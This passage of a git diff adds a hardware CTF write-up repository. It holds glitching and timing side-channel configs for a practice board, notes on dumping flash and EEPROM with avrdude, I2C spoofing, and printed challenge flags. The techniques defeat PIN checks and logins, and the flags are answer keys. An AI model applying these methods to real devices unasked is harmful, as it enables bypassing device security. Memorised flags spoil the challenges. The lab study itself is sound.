+arduino = ArduinoController(port=ARDIO_PORT, baudrate=ARDIO_BAUDRATE)
+arduino.connect()
+
+###
+# name, enabled, string to match
+###
+conditions = [
+ ['rdy', False, "", 'setup_buttons'],
+ ['ok', False, "", 'button_ok'],
+ ['dash', False, "", 'button_dash'],
+ ['spce', False, "", 'button_space'],
+ ['dot', False, "", 'button_dot'],
+ ['check', False, "", 'echo_trigger_state'],
+ ['run', False, "", 'find_code'],
+ ["Flag", True, "TS{", "stop_glitch"],
+]
+
+######
+# Custom functions
+######
+def setup_buttons():
+ version = arduino.get_version()
+ functions.add_text(f"[INFO] Connected to Arduino: {version}")
+
+ # Configure pins
+ functions.add_text("[INFO] Configuring pin modes...")
+ arduino.set_mode(ARDIO_INPUT_PIN, "INPUT")
+ for pin in ARDIO_OUTPUT_PINS:
+ arduino.set_mode(pin, "OUTPUT")
+ arduino.set_default(pin, "LOW")
+
+ # Display current configuration
+ pinmap = arduino.get_pinmap()
+ functions.add_text(f"[INFO] Pin map: {pinmap}")
+
+
+def button_ok():
+ # Pulse one output pin
+ functions.add_text(f"[INFO] Pulsing output pin 8 for {ARDIO_PULSE_DURATION_MS} ms...")
+ arduino.set_for(8, "HIGH", ARDIO_PULSE_DURATION_MS)
+ time.sleep(0.5)
+
+
+def button_dash():
+ functions.add_text(f"[INFO] Pulsing output pin 11 for {ARDIO_PULSE_DURATION_MS} ms...")
+ arduino.set_for(11, "HIGH", ARDIO_PULSE_DURATION_MS)
+ time.sleep(0.5)
+
+
+def button_space():
+ functions.add_text(f"[INFO] Pulsing output pin 9 for {ARDIO_PULSE_DURATION_MS} ms...")
+ arduino.set_for(9, "HIGH", ARDIO_PULSE_DURATION_MS)
+ time.sleep(0.5)
+
+
+def button_dot():
+ functions.add_text(f"[INFO] Pulsing output pin 10 for {ARDIO_PULSE_DURATION_MS} ms...")
+ arduino.set_for(10, "HIGH", ARDIO_PULSE_DURATION_MS)
+ time.sleep(0.5)
+
+
+def echo_trigger_state():
+ state = arduino.get_state(ARDIO_INPUT_PIN)
+ functions.add_text(f"[INFO] Input pin {ARDIO_INPUT_PIN} is currently {state}")
+
+def find_code():
+ candidate_pins = [8, 9, 10, 11] # include pin 8 as a candidate
+ code_sequence = []
+ pin_to_symbol = {8: "OK", 9: "*", 10: ".", 11: "-"}
+
+ functions.add_text("[INFO] Starting full code discovery sequence")
+
+ for digit_index in range(4):
+ functions.add_text(f"[INFO] Finding digit {digit_index + 1}")
+ results = {}
+
+ for test_pin in candidate_pins:
+ # Build the sequence: previously found digits + candidate repeated to fill 4 pulses
+ sequence = code_sequence.copy()
+ remaining_pulses = 4 - len(sequence)
+ sequence += [test_pin] * remaining_pulses
+ symbol_seq = [pin_to_symbol.get(pin, str(pin)) for pin in sequence]
+ functions.add_text(f"[TEST] Testing candidate pin {test_pin} ({pin_to_symbol.get(test_pin)}), "
+ f"sequence: {' '.join(symbol_seq)}")
+
+ # Send all pulses in the sequence, starting timer immediately before the fourth pulse
+ for i, pin in enumerate(sequence):
+ if i == len(sequence) - 1:
+ # Start timer immediately before sending the fourth pulse
+ start_time = time.time()
+ arduino.set_for(pin, "HIGH", ARDIO_PULSE_DURATION_MS)
+ # Allow a short interval for the device to react
+ time.sleep(0.05)
+ # Wait for the input to go HIGH and capture result
+ result = arduino.wait_for(ARDIO_INPUT_PIN, "HIGH")
+ end_time = time.time()
+
+ # Safely extract duration from result or compute fallback
+ if isinstance(result, dict):
+ duration = result.get("duration_ms",
+ int((end_time - start_time) * 1000))
+ else:
+ duration = int((end_time - start_time) * 1000)
+
+ functions.add_text(f"[RESULT] Candidate pin {test_pin} - LOW->HIGH {duration} ms.")
+ results[test_pin] = duration
+ else:
+ arduino.set_for(pin, "HIGH", ARDIO_PULSE_DURATION_MS)
+ time.sleep(0.5)
+
+ # small pause between candidates
+ time.sleep(0.8)
+
+ # Choose the candidate with the longest duration for this digit
+ correct_pin = max(results, key=results.get)
+ code_sequence.append(correct_pin)
+
+ functions.add_text(f"[INFO] Digit {digit_index + 1} identified (pin): {correct_pin}")
+ functions.add_text(f"[INFO] Digit {digit_index + 1} identified (symbol): "
+ f"{pin_to_symbol.get(correct_pin)}")
+
+ translated_sequence = [pin_to_symbol.get(pin, str(pin)) for pin in code_sequence]
+ functions.add_text(f"[INFO] Full code sequence identified (pins): {code_sequence}")
+ functions.add_text(f"[INFO] Full code sequence identified (symbols): {translated_sequence}")
+
+ return code_sequence, translated_sequence
+
+def stop_glitch():
+ functions.set_uart_switch(False)
\ No newline at end of file
diff --git a/docs/10_setup.png b/docs/10_setup.png
new file mode 100644
index 0000000..008945c
--- /dev/null
+++ b/docs/10_setup.png
Binary files differ
diff --git a/docs/11_GoB.png b/docs/11_GoB.png
new file mode 100644
index 0000000..07f38ae
--- /dev/null
+++ b/docs/11_GoB.png
Binary files differ
diff --git a/docs/11_GoB_config.py b/docs/11_GoB_config.py
new file mode 100644
index 0000000..f7e8036
--- /dev/null
+++ b/docs/11_GoB_config.py
@@ -0,0 +1,123 @@
+import functions
+import threading
+import time
+
+###### Config values ######
+SERIAL_PORT = '/dev/ttyUSB0'
+BAUD_RATE = 1000000
+UART_NEWLINE = "\n"
+
+LENGTH = 12
+REPEAT = 1
+DELAY = 0
+
+### name, enabled, string to match ###
+conditions = [
+ ['run', True, 'Password:', 'try_glitch'],
+ ["Flag", True, "TS{", "stop_glitch"],
+]
+
+###### Custom functions ######
+def try_glitch():
+ Len = functions.get_config_value("length")
+ Rep = functions.get_config_value("repeat")
+ Del = functions.get_config_value("delay")
+ time.sleep(0.2)
+
+ tx_thread = threading.Thread(
+ target=functions.send_uart_message,
+ args=("aaaaaaaaaaaaaaaaaaaaa",),
+ daemon=True
+ )
+
+ glitch_thread = threading.Thread(
+ target=functions.start_glitch,
+ args=(Len, Rep, Del),
+ daemon=True
+ )
+
+ glitch_thread.start()
+ tx_thread.start()
+
+ try:
+ current_delay = int(Del)
+ except (ValueError, TypeError):
+ current_delay = 0
+
+ try:
+ current_repeat = int(Rep)
+ except (ValueError, TypeError):
+ current_repeat = 0
+
+ new_delay = current_delay + 1
+
+ if new_delay >= 51:
+ new_delay = 0
+ new_repeat = current_repeat + 1
+ if new_repeat >= 20:
+ new_repeat = 1
+ functions.set_config_value("repeat", new_repeat)
+
+ functions.set_config_value("delay", new_delay)
+
+
+def stop_glitch():
+ buf = functions.read_uart_buffer()
+
+ if "TS{D@mn_y0u_@r3_g006}" in buf:
+ functions.start_glitch(16, 1, 0)
+ else:
+ functions.set_condition_value(0, False)
+ functions.set_uart_switch(False)
+
+
+###### Inactivity watchdog ######
+def config_inactivity_monitor(timeout=5):
+ """
+ Monitor 'delay' and 'repeat' configuration values.
+ Restart device if they do not change for 'timeout' seconds
+ AND condition 0 remains True.
+ """
+ # Wait for functions.config to be initialised
+ while True:
+ try:
+ _ = functions.get_config_value("delay")
+ break
+ except AttributeError:
+ print("[Watchdog] Waiting for configuration to initialise...")
+ time.sleep(1)
+
+ last_delay = functions.get_config_value("delay")
+ last_repeat = functions.get_config_value("repeat")
+ last_change_time = time.time()
+
+ while True:
+ try:
+ current_delay = functions.get_config_value("delay")
+ current_repeat = functions.get_config_value("repeat")
+ condition_active = functions.get_condition_value(0)
+
+ if str(current_delay) != str(last_delay) or str(current_repeat) != str(last_repeat):
+ last_change_time = time.time()
+ last_delay = current_delay
+ last_repeat = current_repeat
+
+ if condition_active and (time.time() - last_change_time > timeout):
+ print("[Watchdog] Inactivity detected. Restarting glitch...")
+ functions.start_glitch(16, 1, 0)
+ last_change_time = time.time()
+
+ except Exception as e:
+ print(f"[Watchdog Error] {e}")
+
+ time.sleep(1)
+
+
+# Start watchdog thread after slight delay to allow initialisation
+def start_watchdog():
+ time.sleep(2) # ensures 'functions.config' is ready
+ monitor_thread = threading.Thread(target=config_inactivity_monitor, daemon=True)
+ monitor_thread.start()
+
+
+threading.Thread(target=start_watchdog, daemon=True).start()
diff --git a/docs/11_glitch_wrong_flag.png b/docs/11_glitch_wrong_flag.png
new file mode 100644
index 0000000..8d57b59
--- /dev/null
+++ b/docs/11_glitch_wrong_flag.png
Binary files differ
diff --git a/docs/11_logic.png b/docs/11_logic.png
new file mode 100644
index 0000000..c7de52c
--- /dev/null
+++ b/docs/11_logic.png
Binary files differ
diff --git a/docs/11_setup.png b/docs/11_setup.png
new file mode 100644
index 0000000..e5a7396
--- /dev/null
+++ b/docs/11_setup.png
Binary files differ
diff --git a/docs/12_discovery.png b/docs/12_discovery.png
new file mode 100644
index 0000000..06b2737
--- /dev/null
+++ b/docs/12_discovery.png
Binary files differ
diff --git a/docs/12_logic.png b/docs/12_logic.png
new file mode 100644
index 0000000..fe8662a
--- /dev/null
+++ b/docs/12_logic.png
Binary files differ
diff --git a/01.md b/01.md
new file mode 100644
index 0000000..bee686a
--- /dev/null
+++ b/01.md
@@ -0,0 +1,23 @@
+# **Challenge 1: "Serial Snitch"**
+
+As a skilled hardware hacker, you've intercepted a mysterious device recovered from a rogue tech syndicate. The device, dubbed **"Specter-1"**, controls access to a secret underground server, but its interface remains locked behind an unknown UART configuration.
+
+Your mission is clear:
+
+1. **Identify the UART pins** you've uncovered during your investigation.
+2. **Determine the correct baud rate** to establish a stable connection.
+3. **Access the device’s command interface** and unlock control over the system’s lighting grid.
+
+## Setup
+
+
+
+## Notes
+
+The baudrate was a standard one, simply connecting the right wires and using the correct baudrate I was able to gain access (and the flag)
+
+Of course I made a glitch-o-bolt config for this: [01_GoB_config.py](docs/01_GoB_config.py)
+
+It looks as follows:
+
+
\ No newline at end of file
diff --git a/02.md b/02.md
new file mode 100644
index 0000000..4a2fa20
--- /dev/null
+++ b/02.md
@@ -0,0 +1,46 @@
+# **Challenge 2: "Echo Chamber"**
+
+Following the success of your first infiltration, you've intercepted another device from the same syndicate. This one seems almost identical — same pinout, same behavior — but something’s off. Your usual tools can’t make sense of the UART output. It looks like the engineers behind this one were clever enough to **obfuscate communication by using a non-standard baud rate**.
+
+The challenge is a test of patience and precision. You'll need to **analyze the signal itself** to get in.
+
+**Your mission is clear:**
+
+1. **Identify the UART pins** using your probing tools.
+2. **Determine the correct (non-standard) baud rate** via signal analysis.
+3. **Establish a reliable terminal connection** and extract the flag from the interface.
+
+## Setup
+
+
+
+## Notes
+
+I started by running logic to capture the transmissions with the logic analyser
+
+
+
+Some simple math to determine the baud rate from the pulse width: (or ask chatGPT like I did)
+
+Baud rate calculation
+
+**Given:** Bit duration = 32 microseconds = 32 × 10⁻⁶ seconds
+
+**Formula:** Baud rate = 1 / bit duration
+
+**Calculation:** Baud rate = 1 / (32 × 10⁻⁶)\
+Baud rate = 31,250 baud
+
+**Answer:** 31,250 baud
+
+Whip up a quick glitch-o-bolt config: [02_GoB_config.py](docs/02_GoB_config.py)
+
+This results in:
+
+
+
+This could also be checked direcectly in logic:
+
+
+
+(Reading source I know the baud rate is supposed to be 31337)
\ No newline at end of file
diff --git a/03.md b/03.md
new file mode 100644
index 0000000..96d14fd
--- /dev/null
+++ b/03.md
@@ -0,0 +1,25 @@
+# **Challenge 3: "Bus Whisperer"**
+
+Deep inside an abandoned research lab, you’ve discovered a prototype security device. It appears to be communicating with hidden components over an **I2C bus**. The traffic is silent to the untrained eye, but with the right tools, you can eavesdrop on the device's conversations and uncover what it's hiding.
+
+**Your mission is clear:**
+
+1. **Identify the I2C communication lines** used by the device.
+2. **Identify all connected I2C devices** the system is interacting with.
+3. **Retrieve** the hidden message embedded in the communication.
+
+## Setup
+
+
+
+## Notes
+
+Fairly simple. wire up the logic analyser, capture and decode:
+
+
+
+That decodes to:
+
+```
+TS{(h@||eng3_07P_i5_1951556615}
+```
\ No newline at end of file
diff --git a/04.md b/04.md
new file mode 100644
index 0000000..05e1bbd
--- /dev/null
+++ b/04.md
@@ -0,0 +1,33 @@
+# **Challenge 4: "Invisible Wires"**
+
+You’ve infiltrated a secure facility to extract a prototype device believed to hold critical secrets. After ripping the main board from its casing and making your escape, a sudden realization hits (**you left a secondary board behind**), still wired in and powered.
+
+Unexpectedly, the stolen board is trying to communicate with its twin over **I2C**, as if expecting a response. It’s time to turn the tables: tap into the bus, reverse the dialogue, and extract what it’s trying to say.
+
+**Your mission is clear:**
+
+1. **Identify the I2C lines** used for board-to-board communication.
+2. **Reverse engineer the protocol** or expected responses from the second board.
+3. **Emulate or spoof the missing board** to trigger a flag or secret message.
+
+## Setup
+
+
+
+## Notes
+
+Fire up the logic analyzer and see it's lookign for a device with a specific address:
+
+
+
+So I made a small arduino sketch to emulate this: [04_arduino.ino](docs/04_arduino.ino)
+
+The next time I checked the logic analyzer:
+
+
+
+This decodes to:
+
+```
+TS{1_N33D_/\/\y_8u66y}
+```
\ No newline at end of file
diff --git a/05.md b/05.md
new file mode 100644
index 0000000..9440047
--- /dev/null
+++ b/05.md
@@ -0,0 +1,181 @@
+# **Challenge 5: "Code Heist"**
+
+In a high-tech underground bunker, you've stumbled upon a **security keypad** linked to a classified device. The rumors suggest that entering a **hidden password** will unlock a **secret mode**, but there’s a catch—the password isn’t documented anywhere.
+
+However, your investigation reveals that the device’s firmware is stored in the internal **Flash memory**, and there’s a chance that the password is hardcoded within. If you can extract the firmware, you just might be able to pull off the ultimate **code heist**.
+
+**Your mission is clear:**
+
+1. **Dump the firmware** from the internal Flash memory using available debugging or ISP interfaces.
+2. **Analyze the firmware binary** to locate and recover the hardcoded password.
+3. **Use the password on the keypad** to unlock the device’s secret mode and retrieve the flag.
+
+## Setup
+
+
+
+## Notes
+
+I used a seperate arduino with the "Arduino as ISP" sketch loaded and pulled the chip from the PwnPad which was then put in to a second spare arduino. The following was used to confirm that the atmega328p could be read:
+
+```
+$> avrdude -v -c arduino -P /dev/ttyACM0 -b 19200 -p m328p -n
+
+avrdude: Version 7.1
+ Copyright the AVRDUDE authors;
+ see https://github.com/avrdudes/avrdude/blob/main/AUTHORS
+
+ System wide configuration file is /etc/avrdude.conf
+ User configuration file is /root/.avrduderc
+ User configuration file does not exist or is not a regular file, skipping
+
+ Using Port : /dev/ttyACM0
+ Using Programmer : arduino
+ Overriding Baud Rate : 19200
+ AVR Part : ATmega328P
+ Chip Erase delay : 9000 us
+ PAGEL : PD7
+ BS2 : PC2
+ RESET disposition : possible i/o
+ RETRY pulse : SCK
+ Serial program mode : yes
+ Parallel program mode : yes
+ Timeout : 200
+ StabDelay : 100
+ CmdexeDelay : 25
+ SyncLoops : 32
+ PollIndex : 3
+ PollValue : 0x53
+ Memory Detail :
+
+ Block Poll Page Polled
+ Memory Type Alias Mode Delay Size Indx Paged Size Size #Pages MinW MaxW ReadBack
+ ----------- -------- ---- ----- ----- ---- ------ ------ ---- ------ ----- ----- ---------
+ eeprom 65 20 4 0 no 1024 4 0 3600 3600 0xff 0xff
+ flash 65 6 128 0 yes 32768 128 256 4500 4500 0xff 0xff
+ lfuse 0 0 0 0 no 1 1 0 4500 4500 0x00 0x00
+ hfuse 0 0 0 0 no 1 1 0 4500 4500 0x00 0x00
+ efuse 0 0 0 0 no 1 1 0 4500 4500 0x00 0x00
+ lock 0 0 0 0 no 1 1 0 4500 4500 0x00 0x00
+ signature 0 0 0 0 no 3 1 0 0 0 0x00 0x00
+ calibration 0 0 0 0 no 1 1 0 0 0 0x00 0x00
+
+ Programmer Type : Arduino
+ Description : Arduino for bootloader using STK500 v1 protocol
+ Hardware Version: 2
+ Firmware Version: 1.18
+ Topcard : Unknown
+
+avrdude: AVR device initialized and ready to accept instructions
+avrdude: device signature = 0x1e950f (probably m328p)
+
+avrdude done. Thank you.
+```
+
+Then pull the firmware:
+
+```
+$> avrdude -c arduino -P /dev/ttyACM0 -b 19200 -p m328p -U flash:r:flash_dump.bin:r
+
+avrdude: AVR device initialized and ready to accept instructions
+avrdude: device signature = 0x1e950f (probably m328p)
+avrdude: reading flash memory ...
+
+Reading | ################################################## | 100% 20.92 s
+
+avrdude: writing output file flash_dump.bin
+
+avrdude done. Thank you.
+```
+
+Instead of loading the firmware in ghidra or another reversing tool I simply ran strings against it to find some low hanging fruit:
+
+```
+$> strings flash_dump.bin
+ h>s@
+/_?O/s3'
+IUZO
+E+F+G+i
+/_?Oy
+ h1P
+!P1 A Q V
+#+$+%+y
+G.Q,a,q,
+E.Q,a,q,
+C.Q,C
+d.q,N
+O.Q,a,q,
+&.1,s
+G.Q,
+n.q,N
+/_?OY
+(P1
+.P1
+'*0Q
+?OOO_O
+"P1 9
+N__O$
+N__O
+"P1
+Q,A,
+APP@
+SECRET MODE UNLOCKED: TS{F1rmw@re_S3cret}
+- .-- ...-- .-.. ...- . ..... ...-- -.-.
++=========== Welcome To The UART Challenge ===========+
+| You Successfully Identified The Baudrate |
+| You Can Now Control The LEDS |
+| TS{U@rt_15_@w3s0m3} |
++=====================================================+
+SELECT LED (1/2/3) >
+Error Wrong Id !
+SELECT STATUS (0/1) >
+Something Went Wrong!
+TS{N0w_Y0u_@r3_@n_el173_H@(k3r}
+TS{(h@||eng3_07P_i5_
+TS{1_N33D_/\/\y_8u66y}
+I will never tell you my secret !
+TS{Gl1th3s_@r3_Awe50m3_!}
+---------------------
+cnt:
+Hahaha, I changed my trigger go and find it
+TS{0h_n0_y0u_foun6_my_7r1gg3r}
+You will never enter my vault!
+TS{Y0u_3nter36_th3_v@ul7}
+You are no good enough
+TS{D@mn_y0u_@r3_g006}
+Welcome to my Login Interface!
+You managed to identify my UART baudrate, now please login.
+[+] Please Provide Your Password:
+Please Enter Your 8 Digit PIN:
+TS{D0n7_M355_w17h_t1m3}
+[-] Wrong PIN!
+No Challenge Selected!
+[-] Login FAILED
+TS{L0gin_Succ355fu1_!}
+d3@1bt7*0PqSxc9~^
+25315294
+355fu1_!}
+[-] Login FAILED
+- .-- ...-- .-.. ...- . ..... ...-- -.-.
+d3@1bt7*0PqSxc9~^
+25315294
+Password:
+Please Enter Your 8 Digit PIN:
+TS{D0n7_M355_w17h_t1m3}
+[-] Wrong PIN!
+No Challenge Selected!
+[-] Login FAILED
+TS{L0gin_Succ355fu1_!}
+- .-- ...-- .-.. ...- . ..... ...-- -.-.
+d3@1bt7*0PqSxc9~^
+25315294
+$N__O
+```
+
+Wow loads of flags! we know that we need to find the morese code as that can be input via UART:
+
+
+
+I wasnt convinced that was the intended way of doing it, so I also pulled the firmware using the headers on the board, that setup looked like:
+
+
\ No newline at end of file
diff --git a/06.md b/06.md
new file mode 100644
index 0000000..a55dd6c
--- /dev/null
+++ b/06.md
@@ -0,0 +1,76 @@
+# **Challenge 6: "Hard Leak"**
+
+You've managed to extract a mysterious device from a corporate blacksite. After digging into the firmware, you realize there's **nothing useful stored in Flash**, but there's one more place secrets like to hide: the **internal EEPROM**.
+
+**Your mission is clear:**
+
+1. **Identify how to access the internal EEPROM** of the device using ISP or other means.
+2. **Recover the hidden flag** from the leaked EEPROM data.
+
+## Setup
+
+
+
+## Notes
+
+This was basically the same as the previous challenge. Pull the eeprom instead of the flash:
+
+```
+$> avrdude -c arduino -P /dev/ttyACM0 -b 19200 -p m328p -U eeprom:r:eeprom_dump.hex:i
+
+avrdude: AVR device initialized and ready to accept instructions
+avrdude: device signature = 0x1e950f (probably m328p)
+avrdude: reading eeprom memory ...
+
+Reading | ################################################## | 100% 4.14 s
+
+avrdude: writing output file eeprom_dump.hex
+
+avrdude done. Thank you.
+```
+
+Echo the file to reads it's contents:
+
+```
+$> cat eeprom_dump.hex
+:2000000054537B33335052304D5F69355F66756E5F217DFFFFFFFFFFFFFFFFFFFFFFFFFFA4
+:20002000FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFE0
+:20004000FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFC0
+:20006000FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFA0
+:20008000FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF80
+:2000A000FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF60
+:2000C000FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF40
+:2000E000FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF20
+:20010000FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF
+:20012000FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFDF
+:20014000FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFBF
+:20016000FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF9F
+:20018000FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF7F
+:2001A000FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF5F
+:2001C000FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF3F
+:2001E000FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF1F
+:20020000FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFE
+:20022000FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFDE
+:20024000FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFBE
+:20026000FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF9E
+:20028000FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF7E
+:2002A000FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF5E
+:2002C000FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF3E
+:2002E000FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF1E
+:20030000FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFD
+:20032000FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFDD
+:20034000FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFBD
+:20036000FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF9D
+:20038000FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF7D
+:2003A000FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF5D
+:2003C000FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF3D
+:2003E000FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF1D
+:00000001FF
+```
+
+Convert the hex string that stands out at the begining: (54537B33335052304D5F69355F66756E5F217D)
+
+```
+$> grep -oP ':[0-9A-F]{8}\K[0-9A-F]+' eeprom_dump.hex | tr -d '\n' | xxd -r -p | strings
+TS{33PR0M_i5_fun_!}
+```
diff --git a/07.md b/07.md
new file mode 100644
index 0000000..a84a949
--- /dev/null
+++ b/07.md
@@ -0,0 +1,26 @@
+# **Challenge 7: "Power Trip"**
+
+You’ve discovered a device that appears locked down tight, every known interface rejects your commands. But somehow you find a **code block that’s never supposed to execute**, likely due to built-in protection checks.
+
+By carefully injecting a **voltage glitch** at the right moment, you might be able to **bypass those checks** and force the device into revealing its hidden path. The **SDA pin** serves as your glitch trigger, and if successful, the device will spill the flag over **UART @ 9600 baudrate**.
+
+**Your mission is clear:**
+
+1. **Identify the timing window** during which to trigger the voltage glitch.
+2. **Inject a glitch using the SDA pin as your trigger source.**
+3. **Access the dead code block** and retrieve the flag via UART at 9600 baudrate.
+
+## Setup
+
+
+
+## Notes
+
+Start by logic analyzing the pins:
+
+
+
+Use the pulse on an input pin of the curious bolt as a trigger to cause the glitch.\
+Made easier with the Glitch-o-Bolt config: [07_GoB_config.py](docs/07_GoB_config.py)
+
+
\ No newline at end of file
diff --git a/08.md b/08.md
new file mode 100644
index 0000000..ce1324d
--- /dev/null
+++ b/08.md
@@ -0,0 +1,25 @@
+# **Challenge 8: "Glitch Storm"**
+
+Building on the success of the **Power Trip** challenge, you are once again faced with the same challenge. The goal remains the same, **trigger a voltage glitch to enter a hidden code path and retrieve the flag**.
+
+However, the catch this time is that the glitch trigger is no longer the obvious SDA pin. You must **discover the new trigger pin and timing** to successfully glitch the device.
+
+**Your mission is clear:**
+
+1. **Analyze the device to identify the new glitch trigger.**
+2. **Precisely time and inject the voltage glitch at the discovered trigger.**
+3. **Access the hidden code block and extract the flag over UART.**
+
+## Setup
+
+
+
+## Notes
+
+This was basically the same as the previous one. After probing around to find what was giving a clock-esque signal (it was pretty obvious) I checked with the logic analyzer:
+
+
+
+Created a similar Glitch-o-Bolt config: [08_GoB_config.py](docs/08_GoB_config.py)
+
+
\ No newline at end of file
diff --git a/09.md b/09.md
new file mode 100644
index 0000000..7fe1fa2
--- /dev/null
+++ b/09.md
@@ -0,0 +1,64 @@
+# **Challenge 9: "Clock Spy"**
+
+You’ve uncovered a high-security vault guarded by a keypad that requires a 5-digit PIN. When the PIN is entered and the OK button pressed, the system checks the password internally.
+
+Your task is to perform a **timing side-channel attack** to recover the PIN as quickly and efficiently as possible. But beware — the PIN **changes every time the device reboots**, adding an extra layer of complexity to your attack.
+
+> **Disclaimer:**
+> Normally, side-channel attacks require expensive equipment such as oscilloscopes and specialized tooling like a ChipWhisperer. However, we have intentionally added specific delays so these attacks can be performed using a **very affordable logic analyzer**.
+
+**Your mission is clear:**
+
+1. **Observe and measure timing variations** during the PIN verification process.
+2. **Use side-channel analysis techniques** to deduce each digit of the PIN.
+3. **Recover the correct 5-digit PIN before the device resets.**
+4. **Retrieve the flag via UART at 9600 baud rate.**
+
+## Setup
+
+
+
+## Notes
+
+I decided to add some header pins from the resistors and buttons for easier debugging:
+
+
+
+The LED flashed once the first incorrect pin was found, there was a small delay between each pin check, thereby we could dissern each pin one after the other. e.g.:
+
+|pin attempt|time|notes|
+|---|---|---|
+|1111|005ms||
+|2222|**010ms**|"2" must be correct as took longest|
+|3333|050ms||
+|2111|**015ms**|"21" took longest of 2nd digit choices|
+|2222|010ms||
+|2333|010ms||
+
+... and so on until the code is worked out.
+
+I hooked up the logic aanalyser to the ok button and the LED. The LED on the lower trace:
+
+
+
+So I didnt have to push the buttons manually (because that would have been a disaster) I wired up the arduino to the buttons and LED and created an arduino sketch to ineract with input and output pins and time when pins go high/low: [arduino code](docs/09_arduino.ino)
+
+I also created a python class to talk to the arduino: [arduinIO](docs/arduinIO.py)
+
+This was all tied together with of course, a glitch-o-bolt config: [glitch-o-bolt config](docs/09_GoB_config.py)
+
+With the logic analyzer still hooked up it was possible to see the delay buy usign the timing markers on the start of the button press and the start of the LED turning off:
+
+
+
+This demonstrates the time between ".", "-" and " " (symbolized as "\*") for identifying the first character
+
+
+
+The second char
+
+
+
+And of course the glitch-o-bolt solution:
+
+
\ No newline at end of file
diff --git a/10.md b/10.md
new file mode 100644
index 0000000..6ca199c
--- /dev/null
+++ b/10.md
@@ -0,0 +1,22 @@
+# **Challenge 10: "Tempo Leak"**
+
+This challenge builds on the mechanics of **Clock Spy**, but with a twist. The device now uses a **4-digit PIN**, and the password verification is only triggered **after all four digits have been entered**.
+
+Your goal remains a **timing side-channel attack** to recover the PIN. The change in input handling means you’ll need to adjust your analysis techniques accordingly.
+
+**Your mission is clear:**
+
+1. **Capture and analyze timing data** during the full 4-digit PIN entry.
+2. **Leverage timing variations** to deduce the complete PIN.
+3. **Recover the PIN and bypass the security check.**
+4. **Retrieve the flag via UART at 9600 baud rate.**
+
+## Setup
+
+
+
+## Notes
+
+This was very similar to the previous one. Minor tweaks to the glitch-o-bolt config: [glitch-o-bolt config](docs/10_GoB_config.py)
+
+
\ No newline at end of file
diff --git a/11.md b/11.md
new file mode 100644
index 0000000..15b5a25
--- /dev/null
+++ b/11.md
@@ -0,0 +1,96 @@
+# **Challenge 11: "Chaos Chain: Glitchgate"**
+
+Welcome to the **Glitchgate** arena, where you get no schematics, no source code, and only the bare device in front of you. Your goal is to break in by chaining multiple hardware attack techniques.
+
+This challenge combines two major hurdles:
+- An **obscure UART baud rate** that you must identify to establish communication.
+- A **fault injection attack** that bypasses the UART login screen, granting unauthorized access.
+
+You’ll need to carefully analyze the device, discover the correct UART settings, and time your glitch precisely to defeat its defenses.
+
+**Your mission is clear:**
+
+1. **Identify the obscure UART baud rate** used by the device.
